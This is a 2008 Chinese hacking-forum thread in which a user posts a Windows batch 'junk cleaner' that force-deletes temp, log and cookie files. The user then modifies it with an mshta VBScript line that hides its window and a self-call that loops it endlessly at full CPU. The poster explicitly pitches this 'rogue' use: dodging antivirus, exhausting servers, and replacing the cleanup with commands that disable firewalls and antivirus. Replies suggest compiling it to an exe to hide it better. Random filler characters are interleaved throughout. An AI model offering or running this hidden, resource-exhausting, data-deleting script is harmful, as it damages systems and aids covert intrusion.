标题:
【原创】再谈垃圾清除的批处理和其流氓运用！
[打印本页]
作者:
平湖秋月
时间:
2008-9-13 23:51
标题:
【原创】再谈垃圾清除的批处理和其流氓运用！
大家经常会看到这个垃圾清除的的BAT程序，也就是很多人所说的30秒清除所有的系统他及程序 说实话这个批处理效果确实不错 ，速度快而且不重不漏！系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善，要是能够自动检测系统中的垃圾文件并且删除那该多好啊！
5 D. u0 L/ P1 a+ {! w
a.bat源代码如下：
+ I' }4 O! r# k
* u! {. E: Q1 G6 w/ i2 ]9 I; g
% |+ \1 n, \1 f: P1 `' N) }$ }2 N1 L
===可以直接保存改名a.bat=====================
$ a! h7 @$ Z( m: r
@echo off
, h% ~' a5 ]3 c' `8 ~; d
echo 正在清除系统垃圾文件，请稍等......
d- Y' p, g: s9 ~9 Y# v0 p
@del /f /s /q %systemdrive%\*.tmp
. q5 {) O* F: q- R* S8 K0 [
@del /f /s /q %systemdrive%\*._mp
( |# y; J ^+ g# M# G g
@del /f /s /q %systemdrive%\*.log
8 H% y: v7 r+ e4 o
@del /f /s /q %systemdrive%\*.gid
/ r2 z" ^3 h7 a# }- [
@del /f /s /q %systemdrive%\*.chk
0 E; U. T/ H/ C, a& p+ |0 V0 y4 E
@del /f /s /q %systemdrive%\*.old
5 w7 v E) M q' \; z5 h
@del /f /s /q %systemdrive%\recycled\*.*
4 J8 K) _5 ~6 M3 g+ l, k5 V
@del /f /s /q %windir%\*.bak
! u/ g1 }# p. H& f
@del /f /s /q %windir%\prefetch\*.*
( o! @' v9 `; o3 ?# f. i0 ~
@rd /s /q %windir%\temp & md %windir%\temp
% V( E" w" t4 m
@del /f /q %userprofile%\cookies\*.*
* K5 K8 M- r8 o
@del /f /q %userprofile%\recent\*.*
# g4 Z( e. p. a1 r) H( I
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
7 e+ ^8 B8 r# a0 L9 K7 ?
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
/ w, R* f) L' B0 ]
@del /f /s /q "%userprofile%\recent\*.*"
+ k6 i0 @( P2 b$ a2 q8 m4 V
echo 清除系统LJ完成！
+ ~+ S) q1 j' E3 n& n& s5 h
其实简单的一句话便实现了那个功能，在“echo 清除系统LJ完成！”后面加上一句 “call a.bat”就OK了，命令的意思大家都懂，我就不做解释了！我运行了一下，到是能够自动检测和删除了，而且关掉对话框也简单，直接关闭就行了！但是如果 被当作入侵工具却又点太暴露，并且那个DOS框始终不能隐藏，很容易被发现.这该怎么办？想想批处理里面的命令，貌似没见到有隐藏对话框的用法（如果有请告诉指教一下！我的QQ：118122875），于是到网上找了一下，决定用VBS代码实现，于是又加上了下面的代码，其实也很简单，也就加了一句话进去：
# |+ s! k: O8 L& |4 B8 a0 C- j/ f
* M9 Z! E+ D6 K9 O* \) H. p0 ]
===可以直接保存改名为a.bat
(一定要是a.bat哦具体说明原因你应该明白吧======
, d+ b5 |. p0 M! s1 u- `
@echo off
) u2 s1 l" o' [* Q# Y
if "%1" == "h" goto begin
6 R% c& |$ L8 n
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
( e+ l& x5 ?7 r( V3 Z
:begin
8 X# ]! L$ t2 E2 J0 }
echo 正在清除系统垃圾文件，请稍等......
* o4 P* U# L' S
@@del /f /s /q %systemdrive%\*.tmp
, A8 q# D, n$ x& A5 D0 w7 w4 S& n: f
@del /f /s /q %systemdrive%\*._mp
" M5 x3 X& C. r- e. ]9 [) `
@del /f /s /q %systemdrive%\*.log
- l7 L# E3 N- l5 e1 q
@del /f /s /q %systemdrive%\*.gid
0 y4 b( R- W+ U6 N* B- a4 }
@del /f /s /q %systemdrive%\*.chk
5 H( W- o+ i" w% j0 }7 m
@del /f /s /q %systemdrive%\*.old
" n7 e4 O" ~0 z! x/ X3 l5 A
@del /f /s /q %systemdrive%\recycled\*.*
$ \; J. J5 g/ M3 R9 |
@del /f /s /q %windir%\*.bak
6 l. M/ O2 M! e) F1 `
@del /f /s /q %windir%\prefetch\*.*
7 q' f7 m0 r+ U
@rd /s /q %windir%\temp & md %windir%\temp
6 ?/ n0 D/ e8 H
@del /f /q %userprofile%\cookies\*.*
2 T7 K" q8 q+ a" Q1 @6 K
@del /f /q %userprofile%\recent\*.*
5 h6 `1 W+ z) l4 k" f, n1 _! j) m
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
. ^5 O2 ^" a2 u* w
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
! ~' M7 Z K! A0 k
@del /f /s /q "%userprofile%\recent\*.*"
2 l$ k3 j. C5 A- S* e0 G( G0 e* ], A
echo 清除系统LJ完成！
" P* `/ O7 G3 W( H; C
call a.bat
9 `. h) g; {, s% a. c E1 W% L; I* B' V
运行看看！什么效果？
3 e8 z) S' k( F9 ^0 x9 r) u
对话框消失了！打开任务管理器查看显示CPU运用：100% 看进程里面cmd.exe占用CPU：99 本来想删除这个进程，但是哪晓得点右键准备去删除那个cmd.exe，没有想到不见了，然后仔细一看，其实cmd.exe没有不见，但是已经PID不一样了，也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环，这时候有的朋友会想可以用taskkill命令来删除进程，但是PID几乎是每2秒换一次，你的速度有那么快？！目前我还没找到解决的办法（高手请指教），无赖只好重新启动...哎！其实这都是雕虫小技，只不过是最基础的东西，但是有的时候最简单的也是最要命的！
& j. p: W$ z% s) a
/ D" O6 r* ~/ t% O. s3 n! }
你说，我们可以利用这个BAT做些什么：
9 ~% s: {+ a6 s) [& g
4 z( e+ c* e/ `5 [
1.因为bat文件可以躲过杀软！这样利用它的无限循环启动一些你自己的程序，当然咯，重复的循环安装时没有必要的，我只是打个比方，你可以自己改动代码达到自己的目的！
5 M" A& ^4 v) E9 Y$ j" V
2.它循环使用消耗资源，如果这样的程序多弄几个，全部启动.你说服务器会怎么样？
8 b/ P4 z& ?3 I4 Y
3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码，那不是更好？当然这些应用都是我个人的一些分析，没有真正的实验过，我想一个可以成功的通过～不过，这个小东西还有个美中不足，cmd.exe在进程里面看得到，至于怎么隐藏，那就请各位高手指教了，在下刚刚接触批处理，莱鸟一个，有什么不对的地方和我联系啊！我的QQ：118122875 平湖秋月
作者:
上帝的爱
时间:
2008-9-14 05:03
想法非常不错
作者:
柔肠寸断
时间:
2008-9-14 17:34
打个岔，流氓的应用，呵呵
作者:
柔肠寸断
时间:
2008-9-14 17:38
现在来正经的回答下问题：
& Q4 y9 u( `: c) ?
1、在bat下隐藏对话框，可以使用一个参数的，但是我记不得了
2 V* {/ D- x7 ~5 V! O- Z0 J" X
# W2 O$ V! T/ C. Z/ f! G6 F9 N
2、可以将bat转换成exe格式的文件啊，使用bat2exe,下次我找到了就发出来哈
作者:
问道小生
时间:
2008-9-14 19:03
其实这个批处理还有一个问题，就是把log文件一律也作为垃圾处理了~~~
+ j9 `' j# R" E- S+ D$ O: r
部分软件卸载是需要log文件的，删除了它，就会造成软件无法正常卸载，或者卸载不干净。因此，log文件并不是垃圾，不同软件计录的log文件有着不同的作用，有的甚至是非常重要的，不是可以随便删除的，例如：一张CD碟片就有一个log日志文件，它主要记录EAC对CD抓轨的各项参数。
作者:
平湖秋月
时间:
2008-9-15 21:43
楼上的你们说的都有道理 理论上是成立的 我有时间试试看
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2
